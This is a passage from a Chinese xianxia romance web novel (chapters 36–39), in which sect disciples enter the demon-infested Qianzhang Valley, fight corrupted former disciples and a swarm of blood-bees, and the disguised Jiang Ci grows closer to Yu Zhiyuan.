这一声裹挟着灵力的声音落下来,才算是唤回南荣钰的一点神智。 察觉小舟已经平稳下来,他顾不得其他,赶紧手脚并用把自己挪回去,而后整个人犹如没有骨头一般瘫在了小舟上,嘴里不断叨叨着“老天保佑老天保佑,大难不死必有后福……” 他这模样实在狼狈,虞知鸢也不管他,先扶着姜辞在小舟上坐下。 一叶扁舟是修真界内比较寻常和朴素的小型飞行法器,小舟上堪堪可容纳三四人,修士可用灵力操控,也可在法器上镶嵌灵石来驱动,眼下这一叶,自是用的灵石。只不过南荣钰入门时日实在太短,自己不会操控不说,就是灵石都还用不明白。 “虞师姐……” 那边南荣钰终于恢复了些理智,只还是腿软得站不起来,泪眼汪汪地看着虞知鸢,哑着嗓子道:“师姐救命之恩,无以为报,只能——” 话未说完,感觉一道冷冷的目光扫过来。 他下意识侧过头,便见姜辞微微眯着眼,眸中隐约闪过一丝猩红。 南荣钰一惊,差点咬到舌头。 他忙抬起头,正对上姜辞那张冷酷到仿佛别人欠了她三千金的冷艳脸庞。 “姜、姜师妹,你别这么看我,”南荣钰一缩脖子,战战兢兢道:“我、我害怕。” 虞知鸢不明所以,看看南荣钰,又看看姜辞:“怎么了?” 姜辞轻飘飘收回视线,长睫倾覆下来,悠悠道:“兴许是吓破胆了吧。” 虞知鸢点点头,又看向南荣钰,道:“借用一下你的法器赶路,南荣师弟不介意吧?” 南荣钰可巴不得有人借用他这法器,瞬间就把刚才那股异样的感觉丢到脑后,点头如捣蒜:“不介意不介意,虞师姐尽管拿去用,顺带把我捎上就成。” 一叶扁舟有灵石提供灵力,驾驭只需控制方向,倒也省了她不少灵力,还能腾出手来照看姜辞。 灵力探入经脉间,并没有发现什么异常,脸上也已经恢复了些血色,料想方才应当确实只是耗空了灵力,不是什么大问题。 虞知鸢松了口气,这才操控小舟加快了些速度,遥遥坠在队伍末尾。 另一头,飞在最前面的慕言蘅已经瞧见了千嶂谷的轮廓。 连绵起伏的山岭间,一道幽深巨大的裂谷犹如天堑一般,将整个拓苍山山脉一分为二。 第一次见到这景象的弟子难掩兴奋,叽里呱啦讨论起来。 而慕言蘅长相英俊,修为也高,在年轻一辈中颇受欢迎,围在他身边的弟子更是只多不少。 “听闻大师兄此前曾去过千嶂谷内,那里头究竟是什么模样?” “还能是什么模样,定然妖兽横行,说不定一口就能把你吃了。” “听说里面有好些五阶妖兽呢,大师兄有见过吗?” “大师兄……” “都噤声,集中注意力。”慕言蘅制止道:“千嶂谷外设有空间封印大阵,谁若是不留心撞上去,恐会惹来不必要的麻烦。” 他说着,一边御剑往下,在距离山谷还有相当一段距离的山林中停了下来。 等到虞知鸢一行三人跟过来的时候,先行弟子已经找好休息的地方,分批坐下了。 一叶扁舟还是太过扎眼,虞知鸢跃下小舟时,毫不意外和众人一圈儿略微古怪的目光对视了个遍。 她是没想太多,其他弟子却是自动把她和南荣钰归到了一组,还有不少弟子纷纷在心里感叹:这虞师姐进千嶂谷带着一个灵脉滞涩的姜师妹就罢了,现在连南荣钰都敢带上,可真是……危险了啊。 这边虞知鸢对他们所想一无所知,才扶着姜辞走了两步,迎面就走来个人。 “大师兄?” 慕言蘅点点头,瞧了瞧姜辞,道:“姜师妹灵脉滞涩,若仅仅是御剑就耗空了内府灵力,恐怕不适合再进千嶂谷。” 姜辞的目光不着痕迹地落在慕言蘅身上,嘴唇刚动了动,虞知鸢就说话了。 “方才我们是瞧着南荣师弟不太会控制那个飞行法器,这才顺手帮了他一把。姜辞没事的,她好着呢!” 她说着还冲姜辞眨了下眼,生怕她太过实诚,把自己的情况老实交代了,那不还得多费口舌来掰扯。 姜辞对上她这般的目光,微微顿了下。 千嶂谷他的确是要进去,而他现在的身份,若是能当众折返,再调头跟上来自是最好的。 但阿鸢似乎很想与他一起,若是他不去…… 缩在后头的南荣钰隐约感觉到一道令他毛骨悚然的目光从他身上扫过,而在另一群人中的林喻也忽然抬起了头。 便是慕言蘅,都被姜辞那好似带着点寒意的目光看得楞了下。 “姜师妹可是——” “我无事。”姜辞眼神微暗,掩去眼底的潮涌,“毕竟像南荣师弟这样毫无修为的人,也愿抛却性命进千嶂谷,我在他面前不值一提。” 那边南荣钰刚站起来想活动一下腿脚,猝不及防听到这话,险些摔了个屁股蹲儿。 我感觉姜师姐好像在嘲讽我。 但我没有证据。 最重要的一点,我那也不是自己想进去的啊! 那头慕言蘅目光扫过缩在后头角落的南荣钰,又落回到姜辞脸上,末了,才开口道:“既如此,师妹几人进谷后便跟紧我一些,若有危险,我也可以照拂一二。” 虞知鸢听到这出乎意料的话,忍不住微微瞪大了眼。 男主竟然主动提出来要照顾他们? 还有这种好事?!? 第37章 第37章姜辞这难道是为慕言蘅……… 虞知鸢的惊讶在注意到慕言蘅的视线始终落在姜辞脸上时,一点点化作了然。 “太好了!”始终躲在角落支着耳朵的南荣钰猛地蹿到慕言蘅身前,“太好了!我就知道大师兄宅心仁厚,最是愿意帮助同门的。我……不是,我们就和大师兄一起进谷。” 他说着话,似乎还要去握慕言蘅的手,被慕言蘅眼疾手快躲开后,回过头来直冲离他最近的姜辞使眼色:“姜师姐,对不?” 姜辞轻嗤一声,并不说话。 南荣钰于是又转头看向虞知鸢,脸上那神色跟死了亲爹也没啥区别,“虞师姐……” 虞知鸢一句“对”险些脱口而,只是在眼角余光蓦地瞥见一抹碧霞色裙角时,又吞了回去,迟疑道: “我们之前与曦云师妹有些误会,”她顿了下,视线毫不遮掩地看向另一边的虞曦云:“大师兄若是带我们一起,恐怕曦云师妹她……” 慕言蘅顺着她的视线瞧过去,淡声道:“无妨,曦云性子虽娇蛮了些,但人并不坏,之前的误会已经说开了,她不会介意的。” 是这样吗? 虞知鸢抿了抿嘴角,询问地看向姜辞。 姜辞掀起眼皮,朝慕言蘅扯出一丝漫不经心的笑,“可以。” 将一切尽收眼底的虞知鸢:……行吧。 看来事情进展顺利得很,这都还没宗门相处呢,男女主就已经看对了眼了。 她歪头朝慕言蘅笑了下:“那就劳烦大师兄了。” 姜辞见状,禁不住眉眼一沉:“说话就说话,有什么好笑的。” 虞知鸢对上他不动声色压过来的视线:“???” 姜辞这难道是为慕言蘅……吃醋了?还是因为她? 那当然是不可以的! 虞知鸢立刻识相地收敛笑意,努力板起一张脸:“那我们走吧。” 姜辞这才冷着脸哼了声。 虞曦云也确实不介意他们的加入,甚至对一反常态,言行都变得格外和善。 见到虞知鸢,她主动上前挽上她的手:“之前的事是我不对,爹爹和师兄都已经说过我了,希望师姐你不要往心里去。” 在万分怪异和无措之中,虞知鸢只能点了点头,“当然不会。” 虞曦云笑了笑,“那我们现在就出发吧。” 短暂的休整之后,一行人在慕言蘅的带领下,再度出发。 千嶂谷外设有封禁大阵,谷内的邪魔之气无法溢出,按照道理来说,外头应是安全的。 然而越靠近千嶂谷,萦绕在众人周身的雾气就越浓厚,连阳光都被树影和迷雾遮去了大半截,四周暗下来,白雾如棉云丝丝缕缕地飘荡,仿佛遮天蔽日,使人忍不住地脊背生寒。 南荣钰越发战战兢兢,“这里……这里真的不会有妖怪吗?” “没有。”慕言蘅道:“这大雾是伴封禁大阵而生的,为的就是不让人靠近封禁大阵,免得误入其中。” 说罢,他从怀中取出一颗夜明珠,往空 中一掷,很快便化作了一点光亮,“都跟着我,小心些走。” 众人应声称是。 夜明珠的光并不十分亮,幸而作为修士,目力较常人胜出许多,当然,不包括南荣钰在内。 于是一路上只听到他一个人时不时的“哎哟”声,与周遭的一片寂静对比在一处,实在一惊一乍得过分。 就在南荣钰又一次因被横亘在地上的树根绊倒,而在虞知鸢耳边鬼吼鬼叫起来时,有人比她更快出声道:“南荣钰,闭嘴!信不信你再吭一声,我就把你扔到后头去!” 虞知鸢一顿,目光不由自主地朝虞曦云看过去。 虞曦云语气疑惑:“师姐怎么了?” 虞知鸢:“……没什么。” “师姐可是紧张?” “……一点点吧。” 虞曦云察言观色,颇有几分体贴地道:“其实千嶂谷也没有那么可怕,我们跟着大师兄,只要小心些就一定不会出事的。” 虞知鸢不自在地点点。 虞曦云忽然话题一转:“对了,师姐可知道凤灵兰?” “凤灵兰?” 虞知鸢眼珠子一转,像是隐隐察觉到什么,不动声色地看向虞曦云。 “是,那可是能辅助修复灵脉的极品灵草,”虞曦云应声,又侧眸瞧了眼默不作声的姜辞,“我听说姜师妹灵脉受损,若是我们运气好就能在千嶂谷内寻得一两株凤灵兰,届时姜师妹再修炼《太虚心诀》,兴许灵脉很快就能治好了。” 听这话,她像是真的对之前那些事都不再心存芥蒂,又对她们关爱有加似的。 只是虞曦云刚说完话,慕言蘅便睨了二人一眼:“凤灵兰岂是那么好找的,千嶂谷内危险重重,你们几人不可莽撞行事。” “知道啦知道啦,大师兄惯是啰嗦,现在怎么还偷听人讲话。”虞曦云嘟囔一句,又回头朝虞知鸢俏皮地眨了下眼,“大师兄就是这样的,爱瞎操心,咱们不用管他。” 哪里来的咱们? 虞知鸢有些好笑,却也不多言,囫囵点了点头,不着痕迹朝另一边的姜辞靠近了些。 无人注意到,始终低垂着头的姜辞忽然掀起眼皮,眸光落到虞曦云脸上,轻巧地打量了一番,而后他眉角轻轻一压,眸中飞快闪过的一丝冷意。 这番对话间,他们已然到了千嶂谷的入口。 抬眸望去,只见不远处,两柄高足有二十尺的巨剑交叉着直直插在地里,巨剑后头便是浓雾弥漫的幽深峡谷,不时有幽幽的光晕在浓雾中此起彼伏地亮起,又忽然地消失,像是黑暗里无数双巨大的瞳孔。 慕言蘅走在最前面。 他缓缓回过身,道:“此地便是千嶂谷入口,谷内妖兽众多,几多凶险,或也各有机缘。如若不小心被冲散,也尽量不要单独一人,若是遇到高阶妖兽,可与我联系,我会尽力赶来相助。此次清扫时间为五日。五日后,各位仍旧在此处汇即可。” 他说到这顿了下,又转眸深深看了眼虞知鸢和姜辞:“最重要的一点,封禁大阵的阵眼就在谷内,任何人不得靠近,违者逐出师门,切记!” 众人颔首应道:“谨遵大师兄教诲。” 慕言蘅很快移开视线,走到了那两柄巨剑前面。 随着他掐诀打出去,伴随着“轰隆隆”的声响,只见两柄巨剑开始震荡起来,不多久便拔地而起,破开了山谷间的浓雾。 众人抬眸往前望去,只觉得有种刺骨的阴寒之气沉沉扑面而来,叫人窒息。不知从哪出来的瑟瑟山风,夹着刺入骨髓的阴寒,吹得四周荒草起伏不定。 一股焦臭、腐烂之气,也随之渐渐钻入了众人鼻尖。 南荣钰惊了一跳:“这……这是千嶂谷?怎么倒像是说书人嘴里的……地狱。” 没人顾得上答他的话。 短暂的静默之后,慕言蘅率先往前走去:“都跟上。” 眼看着众人都一个个踏进黑雾中,南荣钰腿一软,赶紧插声问:“我……我能不能就在这地方等你们?” 他话音未落,虞曦云已经一脚揣到他屁股上。 南荣钰本能地“啊”了一声。 再抬起头,正好对上前头虞知鸢回过来的视线:“此处封禁大阵方才打开一个缺口,有外界灵气溢入,恐会引来妖兽,你若是想在此……” “不想!”南荣钰铿锵有力道:“我马上走!” 虞知鸢目光一转。 虞曦云已经走上前来,冲她一笑,“师姐,咱们可真有默契。” 她说着,又要去挽虞知鸢的手,却被人抢了先。 姜辞不知道从哪里出来,挤开了虞曦云,十分熟稔地往虞知鸢身边一靠,细声细气道:“师姐,我有些不舒服,你扶我一下。” 这山谷里妖邪之气浓郁弥漫,几乎蜿蜒覆盖了整个山谷。 尽管有灵力护体,虞知鸢也仍能感受到那股阴寒之气,丝丝缕缕,在不断尝试着往她身上钻。 而姜辞灵脉受损,如今修为又比她还低一些,自是比旁人更容易被这阴寒之气侵体。 虞知鸢拧了拧眉,正要从储物袋中取一些聚灵丹给她,姜辞已经捉住她的手,握紧了。 “我没事。”她冰凉的鼻尖似有若无地蹭过她的耳际,“前面不大对,师姐小心些。” 虞知鸢方才晃了一下的神智很快回笼,只还不待她转过视线,前方蓦地响起一声惊呼。 “什么东西?小心!” 话音方落,最前头的慕言蘅已经拔剑纵身,一跃而上。 众人定睛去看,弥漫的黑气之中,隐约能看出对方似乎是个人形。 可这千嶂谷中,如何会有人? 那“人”影速度极快,一个眨眼便对上了慕言蘅,下一瞬,只听“咚”的一声,被慕言蘅一下削去的脑袋就落到了地上,那“人”影也应声而倒。 但众人并未因此放松,反而愈发紧绷了。 因为黑气之中,又有数个“人”朝他们围拢过来。 “这些……,究竟是什么?”有人艰难地从喉咙中挤出声音。 “是曾经进入千嶂谷清扫妖兽的修士,”慕言蘅挡在众人前头,淡声道:“千嶂谷内的妖邪之气比你们想象的可怕得多,若是长时间停留在此,妖邪之气侵体太深,纵使我们是修士,最终也会变成这样的怪物。” 众人闻声当场变了脸色。 再抬眸望过去,才终于看清这些“人”的样子。 他们脸上的血肉已经掉了大半,变成了个没有表皮肌肉的骷髅头,鲜血顺着头骨表面不住流下,黑白的眼珠就在一窝血泊的深深眼眶之中不停地转动着。 眼眶下面直接便是占据了大个半个面庞的血盆大口,他们大张着嘴,露出里头残缺不全的破烂牙齿,血红的粘稠液体正自嘴角不住的往下滴着,也不知是血还是口水,但总归很是恶心。 再往下,破破烂烂的布条间露出森森白骨,胸腑之间的内脏全都因为皮肉掉落失去遮挡而暴露在空气中,仔细看,居然还微微蠕动着。 众人原地楞了片刻,而后猛然意识到, 这些人,这些修士,他们分明…… 还活着! 第38章 第38章轻而易举把她拎了起来,…… “要不……”跟在后头的南荣钰哆嗦着出声道:“要不咱们还是出去吧?” 一时无人应答。 除了南荣钰,其余人都是自己报名的这次千嶂谷之行,就这样应了南荣钰的话,未免显得太过窝囊? 那头慕言蘅脸色不变,抬手掐诀间,无数碎石石块腾空而起,挟裹着强悍的灵力,齐齐朝那些“人”飞去,以 一己之力暂时阻挡住了他们的来势汹汹。 虞曦云这时忽然回头看了看虞知鸢,“师姐别怕,我会保护你的!” 说罢也紧跟着一甩流云鞭,如利箭一般朝前头的“人”影冲了过去。 虞知鸢:“……啊?” 有了人打头,众人很快收敛起杂乱的心绪,也纷纷开始出手。 霎时间,山谷内一片五光十色。 虞知鸢祭出护盾,护着姜辞往后连退几步,她倒不是不想打,只是掂量了一下,觉得现在正是慕言蘅出风头的时候,她得让姜辞好好看看慕言蘅有多厉害才行啊。 “虞师姐救命!” 虞知鸢微一转眸,便看到南荣钰不知从那蹿出来,不管不顾往她面前一扑,幸而她这护盾不带多少攻击力,只是把撞上来的人又给弹出去而已。 那边南荣钰在地上狼狈滚了两圈儿,险险躲过一爪子,一边往她这里跑,一边抬起一张流着两条鼻血的脸,“虞师姐,让我进去躲躲啊!” 虞知鸢:“……你倒是把你买的法器用起来啊。” 她这话刚说完,一个温热的触感就压到了她的背上。 下一瞬,她感觉到自己被提起来了。 没错,就是提。 明明方才还柔柔弱弱走一步晃三晃的人,此刻却轻而易举把她拎了起来,裹到了怀中。 等虞知鸢反应过来的时候,她们已经离开原地十多米,而在她们方才站着的地方,一个“人”从地下钻了出来。 他四肢紧贴在地面,似乎是察觉到即将入口的美味没有了,那颗光溜溜黑乎乎的脑袋缓缓转了一百八十度,一双深陷入眼眶,猛一瞅好像两只黑窟窿的眼睛也看了过来。 虞知鸢:“!!!” 太特么瘆人了啊!!! 顾不得其他,虞知鸢轻轻吸了口气,抬手掐了个诀扔出去。 一道白光陡然炸开,将那“人”裹住横飞出去,强大的劲力瞬间将它的肢体扯地七零八落。 虞知鸢吓了一跳。 倒不是因为那血腥的场面,而是…… 她低头看看自己的手:“这么容易就……打烂啦?” 头顶很快传来姜辞清凌凌的声音。 “他原来的修为就不高,虽说变成如今这模样,说到底也不过是肉体凡胎罢了,不难对付。” 虞知鸢点了下头。 她不大看得出来那些“人”从前修为的深浅,不过听姜辞这么一说,这些“人”之前肯定也没有太厉害,毕竟厉害的那一批,应当也早从这里出去了。 她就说呢,怎么这么轻易就给解决了。 不远处,南荣钰周身罩着一层薄光,蜷缩在一块石头后,脸色虽惊恐,瞧着倒也没受什么伤。 虞知鸢移开视线。 前方的混战也已接近尾声。 随着几道刺耳的尖啸声响起,最后两个“人”也被慕言蘅一剑斩杀,周遭的灵力波动渐渐平稳,恢复了刚进谷时的寂静。 有弟子指着遍地残破肢体中的一具,迟疑道:“他们身上穿的,好像是凌云宗的弟子服。” 这话一出,众人纷纷低头去看,不一会儿,七嘴八舌的议论声响了起来: “这衣服上的确实是流云纹。” “还有这个,是弟子令牌?”有人蹲下身,从地上捡起一块黑了吧唧的牌子,擦干净后,背面凌云宗的标志也便清晰地呈现在了众人眼前。 “难道这些……是我们的同门?”有人茫然地问。 “是上一批前来清扫千嶂谷却未能及时离开的弟子。”慕言蘅的声音响起,“他们也是你们的师姐师兄。” 众人闻言皆是脸色一变。 若是他们在清扫妖兽的过程中死在这千嶂谷倒也罢,若是没死,又没能准时集合出去,那眼前这些师姐师兄,恐怕就是他们将来的下场。 慕言蘅却是面不改色,接过那弟子令牌放入储物袋,道:“找到他们的弟子令牌交给我,至于他们的尸骨,”他顿了下,缓缓抬起手,“便安葬在那里。” 顺着他手指的方向看过去。 那是一个长满荒草的矮坡,而矮坡上头…… 一个又一个,密密麻麻,尽是荒坟。 坟头因无人清理,荒草也便蔓延了上去,风吹过,呜咽作响。 所以这些,都是曾经进入千嶂谷清扫妖兽的他们的同门。 想到此处,有弟子禁不住地打了个寒颤。 “都别傻站着,方才这边动静不小,恐怕不出一刻,便会有妖兽被引来,我们得尽快离开。”慕言蘅冷声道。 众人回神,连忙按照慕言蘅所说,纷纷动了起来。 虞知鸢叮嘱姜辞站在一侧,自己倒是也不嫌瘆人了,弯下腰,就要伸手将脚边那个脑袋都被打烂了的尸体拖到矮破上去。 只是手都还没碰到尸身,身侧就响起了轻微的动静。 一只比她大了一圈儿的微凉手掌很快覆到了她的手背上,将她的手握到自己手里。 “我来。”姜辞微微侧头,漫不经心地伸出另一只手,指尖轻轻一勾,那尸体便浮了起来,一转眼便挪到了矮坡上。 虞知鸢哪里能看得了她这样消耗自己的灵力,皱眉道:“你去歇着就好。” 姜辞垂眸看她,低声道:“既是历练,总不能白来一趟。” 虞知鸢怔了下,这才想起来什么。 的确,适当耗空灵力对修士是有好处的,灵力耗空后再运转经脉引动灵气入体,如此不断循环往复,灵气运转才会越顺畅,修炼的速度自然也就快了。 眼下看姜辞还算游刃有余,虞知鸢也放下了大半的心,“那你自己注意,别消耗太过。” “好。”姜辞眸光闪烁着,一瞬不瞬地盯着虞知鸢的侧脸,那总是平直的嘴角,不着痕迹地翘了一下,“多谢师姐关心。” 温热的吐息轻飘飘洒在耳边,有点痒。 虞知鸢忍不住抬手揉了下耳朵,这才扭过头去看他:“你——” 她的声音忽然卡了一下。 因为她扭过头后才发现,姜辞略显苍白的脸就贴在她脖颈间,呼吸可闻,而她这么一回头,嘴唇险些碰上她的。 四目相对。 虞知鸢只觉得自己脑中“轰”的一声,而后,一片空白。 “嗯?”似乎感受到她的僵硬,姜辞微微侧开了脸,但也仅仅只拉开了一点点距离,下巴搭在她肩膀上,甚至愉快地蹭了蹭。 “师姐怎么了?” 虞知鸢僵在了原地。 她们之间的距离实在太近了。 她能感觉到姜辞微凉的发丝蹭过她耳际,鼻尖若有若无地触碰着她的脸颊。 虽然她们都是女孩子,但这好像还是有点……太奇怪了? 但她要是现在退开,会不会更奇怪? 下一瞬,虞知鸢感到绕在自己腰间的手臂似乎稍稍松了些,她一口气还没吐出,脸颊一侧蓦地传来微凉而酥麻的触感,像是姜辞的鼻尖悄然凑近。 “!!!” 虞知鸢克制住想要缩脖子的冲动,吞了口口水。 “虞师姐,姜师妹,你们没事吧?”虞曦云的声音响起。 虞知鸢陡然回神,她几乎是下意识地挺直肩背,手肘顺势往后一攘,总算和姜辞稍稍脱开了点距离。 强迫自己把心头萦绕的怪异感觉全部收拢后,她长舒一口气,望向虞曦云,含糊道:“唔,没事。” “那就好。”虞曦云朝她招了下手,“这里血气太重不宜久留,我们得快点离开了。” 虞知鸢点头,腰间的力道却生生止住了她往前去的动作。 她微微挣了下,那力道却更重了些。 虞知鸢一僵,克制住想拍开姜辞手臂的冲动,“那个,师妹,我们得走了,你……松一下手 。” 姜辞垂眸注视着近在眼前的侧脸,清晰地看到她的耳尖渐渐泛了红,透过白皙莹润的皮肤显露出来,柔软的,明晃晃的。 他的目光稍稍动了动,如虞知鸢所愿,直起了身。 终于和姜辞拉开距离,虞知鸢心底忍不住地松了口气。 她现在不大敢回头看她,于是只低声催促一句,便迈步先往前去了。 但下一瞬,她便感觉手一凉。 一只微凉的手捉住了她的,修长的五指一点点撬开了她的指缝,以一种极其生涩却又强硬的姿态将她紧紧扣住。 “!?!” 虞知鸢一惊,本能地扭头看去。 姜辞抬起眼,神情无辜又虚弱。 “方才灵力似乎有些消耗过了,我有些站不稳,师姐可以牵着我吗?” 虞知鸢企图挣脱的手顿了顿,视野中是姜辞那张略显苍白柔弱的脸庞。 都是女孩子,牵个手而已,应该…… 没关系吧? 这时虞曦云忽然指着前头道:“看,大师兄要布阵了。” 虞知鸢收回自己奇奇怪怪的想法,转眸去看。 只见慕言蘅从储物袋中取出了几个黄铜小钟抛向四周,随即画符掐诀一气呵成。 一点赤金的星火自阵法中间缓缓坠落,火光不断放大,转眼化为一道闪烁着火光的屏障,其上符文闪烁,将众人牢牢罩在里头,而后屏障便连同其上的符文一道,重新消失在视野中。 “这是四方固守阵,可以将妖邪之气隔绝在外,”虞曦云松了口气,朝虞知鸢笑道:“整个凌云宗里除了几位长老,就只有大师兄会布这个阵法,看来今晚我们可以好好歇歇了。” 虞知鸢点点头,虽然她努力把自己的注意力转移到虞曦云和慕言蘅身上,但…… 她一边跟着虞曦云,一边眼睛控制不住地往下一扫,视线落在自己被姜辞紧紧握住的手上。 更准确地说,是十指相扣。 “现在应该没事了,我们去找大师兄吧。” 虞知鸢压低声音。 姜辞一瞬不瞬地注视着眼前未曾抬头的少女,“找他做什么?” 虞曦云忽然插声道:“当然要待在一处才好相互照顾啊。” 虞知鸢应和道:“我们快过去吧,你也得好好调息一下了。” 她说着话,一边不自在地动了动指尖,试图甩开姜辞的手,但姜辞却莫名其妙握得更紧了些。 幽深的眼瞳在黑暗之中闪烁了下,姜辞固执地维持着十指相扣的姿势,像是咬住猎物的恶犬,绝不松口。 “师姐怎么不看我?” 看看看,有什么好看的? ……行吧,你是好看,可再好看,你也是个女的啊,怎么的,你还想和我搞不正当关…… 虞知鸢被自己这个想法惊得汗毛一炸,顿时脑中嗡嗡作响。 而姜辞仍旧站在原地,一脸平静地握着她的手,“师姐?” 虞知鸢僵硬地一点点抬起脸,随着姜辞那张漂亮的脸蛋一点点印入她的视野,一股子莫名的热意直冲脑门,让她险些背过气去。 不对不对…… 不是这样的。 姜辞可是女主啊,她是要和男主在一起的,她这瞎想什么东西呢! 更何况,姜辞也只是牵了一下她的手而已,女孩子牵牵手,这不是很正常的事吗? 是啊,牵个手而已,正常的正常的。 等等……不是…… 既然正常,那她刚才为什么会想到不正当关系这种词啊?!? 虞知鸢忽地想到什么,不自禁地一个激灵。 难道…… 不正常的不是姜辞,而是……她? 第39章 第39章与姜氏一族灭门之日,何…… “师姐。” “师姐。” “师姐?” 一连串“师姐”落在耳边,虞知鸢总算从一系列震惊惊慌慌乱中恢复了一点神智。 她歪了歪脑袋,下意识看向姜辞。 姜辞就坐在她身边,背倚着树干,正阖着眼皮休息。 而她的手,依然还被握在她手里,掌心贴着掌心,没有丝毫缝隙。 虞知鸢悄悄吞了口口水。 怎么办…… 好像有点心虚? “师姐,你到底要不要听啊。” “听,我听着呢。”虞知鸢本能地点头,而后像是察觉到什么,忽地一顿,这才慢慢侧过脸。 一张放大的,与她有几分神似的漂亮脸庞正直直瞅着她瞧,惊得她险些尖叫出声。 “我都跟师姐说了好一会儿话了,”虞曦云不知何时来到她面前,嗔怪道:“师姐想什么呢,半天都不搭理我。” 虞知鸢“啊”了声,抚了抚心口,这才问道:“曦云师妹要与我说什么?” 虞曦云:“……”阖着我刚才讲的你一个字没听进去??? 她深吸一口气,强压下心头蹿起的火气,轻声道:“师姐还记得我之前说过的凤灵兰吗?” 虞知鸢闻言一顿,而后轻轻点了点头。 “是这样的,方才大师兄与我说了,那凤灵兰虽然好,但却长在千嶂谷最危险的地方,那里妖邪之气最为浓郁,很是危险。” 虞曦云说到这里,朝虞知鸢抱歉地笑笑,“我之前也不知道原来是这样,所以才与师姐提起寻这凤灵兰来帮姜师妹修复灵脉。但现在看来,血雾沼泽恐怕不是我们能去的地方,所以也只能作罢了。” 虞知鸢微微拧眉。 血雾沼泽吗? 名字听着……像是有点熟悉。 虞曦云:“当年正邪之战时死了许多修士,尸身却未能及时收敛,血雾沼泽就是那些堆积在一处的众多邪修魔修尸身腐烂形成的。” 邪修魔修的尸身腐烂而成…… 虞知鸢眉头皱得更紧了。 她好像……不,不是好像,她一定有听说过这地方。 但,她是在哪里听说的呢? 虞知鸢有些懊恼地掐了掐指尖。 这一掐,才发现因为自己的手还和姜辞十指相扣着,也就不可避免地牵动了姜辞的手。 虞曦云仍在说话:“师姐也不必觉得可惜,这次拿不到凤灵兰也不要紧,等我们回去宗门了,可以求我爹爹去一趟幽都,运气好的话,说不定幽都也能买到凤灵兰。” 但虞知鸢无心去留意。 她听见姜辞的声音在她识海中响起:“看上去,她很想让你去采凤灵兰。” “唔……” “或者说,她想让你去的,是血雾沼泽。”姜辞睁开眼,眸光掠过虞曦云,最后定定落在了虞知鸢脸上,“所以那地方,师姐还是不要去了。” “或许吧,”虞知鸢动了动唇,“但凤灵兰……” “那东西对我来说并不重要。” 与识海中姜辞的声音同时响起的是虞曦云压低了的声音:“师姐还是不打算放弃吗?” 虞知鸢才发现自己方才一不注意,竟是喃喃出了声,让虞曦云也给听去了。 虞曦云似是满面无奈,轻轻叹了声,又转眸瞧了瞧四周。 其他弟子皆坐在树下,三三两两聚在一起闭目修炼,并不曾留意她们几人,人群中也不见慕言蘅人影。 她这才凑近虞知鸢,神神秘秘道:“若师姐实在想去的话,我倒是知道——” “不必了。”姜辞蓦然出声打断虞曦云的话,“你说的对,血雾沼泽那地方太过危险,我们不会去的。” 虞曦云一顿,面色有了极微妙的变化,“姜师妹怎么不多调息会儿。” 姜辞像是笑了下,她唇色苍白,一张一合间吐出淡漠的声音:“与你何干。” 虞曦云的手已经控制不住地放到了腰间的软鞭上。 她实在是讨厌这人得紧! 幻妖那次她就看出来她的真面目了,瞧着柔柔弱弱的,实际上心思深得很,把所有人都蒙骗在鼓里。 但现在还不是教训她的时候。 虞曦云深吸一口气,才控制自己转眸看向虞知鸢:“那师姐……” “不去。”虞知鸢答得干脆,朝虞曦云粲然一笑,“血雾沼泽那地方这么危险,我听曦云师妹的,绝对不靠近那地方。” 虞曦云默了默,面上的表情险些维持不住:“那就好……” 这边话刚说完,众人突觉有风起。 他们本能转头,还未见着人影,便听得慕言蘅的声音:“注意防御!” 下一瞬,有什么东西直冲众人所在的位置而来,在防护罩上撞出绚丽的波纹。 随着这一撞,四周紧跟着传来一阵微不可察的嗡鸣声。 众人定睛,只见密密麻麻的飞 虫,正黑压压地向着他们这边飞来。那虫子也不知什么长的,每一只都足有拳头大小,无数密密麻麻的复眼交叠在一起,混合着竖起的毛刺,瞧着让人忍不住心惊。 只这么眨眼的功夫,嗡鸣声四起,铺天盖地的棕褐色飞虫一涌而上。 “是血须蜂!”有弟子颤抖出声。 血须蜂是一阶妖兽,碰到个一只两只其实并不难对付。只是这血须蜂一旦出现,往往都是成群结队绵绵不绝,哪怕是金丹期修士遇上了,也要褪一层皮,修为稍低些的修士,大多都是被拖着耗尽灵力后,被吸食个干净而死。 虞知鸢心下一紧,起身时腿都打了个摆。 她小时候可是被蜜蜂蜇过的啊啊啊! 她立刻就给自己和姜辞撑起护盾。 要知道四方固守阵虽然可以隔绝妖邪之气,但却并不能阻挡攻击。 果然不多久,在蜂群不断地撞击下,四方固守阵形成的屏障上漾起了层层流水般的波纹。 另一厢慕言蘅神色一凝,手中灵力凝聚的同时,沉声道,“阵破之后分开跑,四日后在出口集合,莫忘!” 话落,随着一道脆响,只见那结界终是不堪重负,在众人的目光中倏然碎裂,化作漫天灵光。 虞知鸢顾不得其他,随便选了个没有血须蜂的方向,拉着姜辞闷头就跑,一双腿抡得飞起。 身后嗡鸣声不断,间或还能听到隐约的痛呼惨叫声。 虞知鸢克制着自己不要回头。 她修为不高,在这时候当圣母,不仅救不了别人,恐怕还会把自己和姜辞都置于险境。 可即便如此,身后的血须蜂也依旧紧追不舍,迅速逼近她们。 虞知鸢摸出一张炽焰符,头也不会朝身后扔去。 烈焰瞬间蔓延至蜂群,数十只血须蜂眨眼间被点燃跌落在地。按理来说虫类都畏火,这些血须蜂却并不惧怕,只不过片刻,已有更多的血须蜂冲了过来,乌泱泱一片,铺天盖地。 这也太多了点吧!?! 余光瞥见蜂群离她们似乎就只有一步之遥,虞知鸢深深吸了口气,储物袋内的符箓不要钱一样往后扔。 但也仅仅只阻挡了蜂群几息。 虞知鸢只觉得自己的肺腑都像是要炸开一般。她体内灵力原本就消耗不少,方才也没歇多久,这会儿还要支撑着护盾,灵力已近干涸,经脉都干涩到隐隐发疼。 再这么下去,迟早会被血须蜂包围,而以她现在的状态,护盾怕是也撑不了多久…… 正在此时,脑中蓦地响起一道清冽的声音:“抱紧我。” 虞知鸢:“……?” 猝不及防间,手臂被猛地一拽,同时一个温柔却不容她拒绝的力道落到了她的腰上。 一个旋身,她便被姜辞拢入了怀中。 身后穷追不舍的蜂群很快飞过来,不出意料地,很快便将两人牢牢包围。 护盾不堪重负,不过几息便轰然碎裂。 巨大而又绵延不绝的嗡鸣声钻入虞知鸢的耳朵,她轻轻喘着气,抬起头,才发现姜辞的脸色苍白得厉害。 “你没……” 她的话在隐约瞧见姜辞眸底那点一闪而逝的诡异红色时戛然而止。 